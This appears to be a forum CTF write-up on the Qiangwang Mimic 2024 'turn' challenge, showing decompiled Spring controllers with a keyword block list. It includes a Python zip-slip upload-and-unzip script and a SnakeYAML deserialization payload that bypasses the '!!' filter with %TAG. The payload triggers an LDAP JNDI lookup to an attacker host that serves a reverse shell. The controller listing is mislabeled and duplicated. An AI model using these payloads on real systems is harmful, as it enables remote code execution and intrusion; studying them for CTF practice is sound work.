强网拟态2024白盒资格赛turn详解
1546895457684122 发表于 四川 CTF 119浏览 · 2024-11-25 16:47

环境配置

根据去线下打的反馈,环境应该为8u65

思路分析

在控制器的uploacontroller中
存在上传路径和解压路径

在Yamlcontroller中
存在

yaml.load()

uploacontroller

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.turn.controller;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.yaml.snakeyaml.Yaml;

@RestController
@RequestMapping({"/yaml"})
public class YamlController {
    private static final String BASE_PATH = "/opt/resources/";
    private static final String[] RISKY_STR_ARR = new String[]{"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};

    public YamlController() {
    }

    @PostMapping({"/handle"})
    public String handleYamlFile(@RequestParam String filename) throws Exception {
        if (filename != null && !filename.isEmpty() && !filename.contains("..")) {
            File file = new File("/opt/resources/" + filename);
            if (file.exists() && file.getAbsolutePath().startsWith((new File("/opt/resources/")).getAbsolutePath())) {
                Yaml yaml = new Yaml();
                FileInputStream inputStream = new FileInputStream(file);
                StringBuilder contentBuilder = new StringBuilder();
                InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
                BufferedReader bufferedReader = new BufferedReader(inputStreamReader);

                String line;
                while((line = bufferedReader.readLine()) != null) {
                    contentBuilder.append(line).append(System.lineSeparator());
                }

                String payload = contentBuilder.toString();
                String[] var10 = RISKY_STR_ARR;
                int var11 = var10.length;

                for(int var12 = 0; var12 < var11; ++var12) {
                    String riskyToken = var10[var12];
                    if (payload.contains(riskyToken)) {
                        System.out.println("Cannot have malicious remote script");
                        throw new IllegalArgumentException("File contains risky content.");
                    }
                }

                yaml.loadAs(payload, Object.class);
                return "hack it";
            } else {
                throw new IllegalArgumentException("File not found or access denied.");
            }
        } else {
            throw new IllegalArgumentException("Invalid filename.");
        }
    }
}

YamlController

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.turn.controller;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.yaml.snakeyaml.Yaml;

@RestController
@RequestMapping({"/yaml"})
public class YamlController {
    private static final String BASE_PATH = "/opt/resources/";
    private static final String[] RISKY_STR_ARR = new String[]{"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};

    public YamlController() {
    }

    @PostMapping({"/handle"})
    public String handleYamlFile(@RequestParam String filename) throws Exception {
        if (filename != null && !filename.isEmpty() && !filename.contains("..")) {
            File file = new File("/opt/resources/" + filename);
            if (file.exists() && file.getAbsolutePath().startsWith((new File("/opt/resources/")).getAbsolutePath())) {
                Yaml yaml = new Yaml();
                FileInputStream inputStream = new FileInputStream(file);
                StringBuilder contentBuilder = new StringBuilder();
                InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
                BufferedReader bufferedReader = new BufferedReader(inputStreamReader);

                String line;
                while((line = bufferedReader.readLine()) != null) {
                    contentBuilder.append(line).append(System.lineSeparator());
                }

                String payload = contentBuilder.toString();
                String[] var10 = RISKY_STR_ARR;
                int var11 = var10.length;

                for(int var12 = 0; var12 < var11; ++var12) {
                    String riskyToken = var10[var12];
                    if (payload.contains(riskyToken)) {
                        System.out.println("Cannot have malicious remote script");
                        throw new IllegalArgumentException("File contains risky content.");
                    }
                }

                yaml.loadAs(payload, Object.class);
                return "hack it";
            } else {
                throw new IllegalArgumentException("File not found or access denied.");
            }
        } else {
            throw new IllegalArgumentException("Invalid filename.");
        }
    }
}

发现,在Yaml.load的途中,只能加载/opt/resources/目录下的文件

Step1

将evil.yaml放在/opt/resources/

需要把uploadController下上传的文件通过目录穿越达到目的
以下为达到目录穿越的python脚本

import io
import zipfile

import requests

# 定义 ZIP 文件的名称
zipFilename = "exp5"

# 创建一个字节流缓冲区
zip_buffer = io.BytesIO()

# 定义要写入文件的内容

fileContent =b""


# 创建 ZIP 文件并将内容写入
with zipfile.ZipFile(zip_buffer, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
    for file_name, data in [
        (f'../../opt/resources/{zipFilename}.txt', io.BytesIO(fileContent)),
    ]:
        zip_file.writestr(file_name, data.getvalue())

随后再写一个上传和解压的python脚本
结合在一起就是

import io
import zipfile

import requests

# 定义 ZIP 文件的名称
zipFilename = "exp5"

# 创建一个字节流缓冲区
zip_buffer = io.BytesIO()

# 定义要写入文件的内容

fileContent =b""


# 创建 ZIP 文件并将内容写入
with zipfile.ZipFile(zip_buffer, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
    for file_name, data in [
        (f'../../opt/resources/{zipFilename}.txt', io.BytesIO(fileContent)),
    ]:
        zip_file.writestr(file_name, data.getvalue())

# 将 ZIP 文件写入磁盘
with open(f'{zipFilename}.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

url1 = 'http://xxx:8085/api/upload'  # 替换成实际的上传接口URL
url2 = 'http://xx:8085/api/unzip'

# 要上传的文件路径
file_path = f'{zipFilename}.zip'  # 替换成你要上传的文件路径

# 以二进制模式打开文件,并构造文件数据
with open(file_path, 'rb') as f:
    # 构建文件数据,'file' 是参数名,替换成你接口期望的参数名
    files = {'file': (file_path, f)}

    # 发送POST请求
    response = requests.post(url1, files=files)
    print(response.text)
    data={'filename': f'{zipFilename}.zip'}
    response = requests.post(url2, data=data)
    print(response.text)

攻击思路

利用JNDI注入,使用JNDIMap的ladp协议加载远程类转载
利用%TAG去绕过!!的限制
故有paylaod

%TAG ! tag:yaml.org,2002:
---
!org.springframework.beans.factory.config.PropertyPathFactoryBean
  targetBeanName: "ldap://xxxx:1389/Basic/ReverseShell/xxxx/2333"
  propertyPath: "juvline"
  beanFactory: !org.springframework.jndi.support.SimpleJndiBeanFactory
    shareableResources: ["ldap://xxxx:1389/Basic/ReverseShell/xxxxx/2333"]

截屏2024-11-26 00.25.39

启动JNDIMap注入

反弹shell回来就拿下了

0 条评论
某人
表情
可输入 255
目录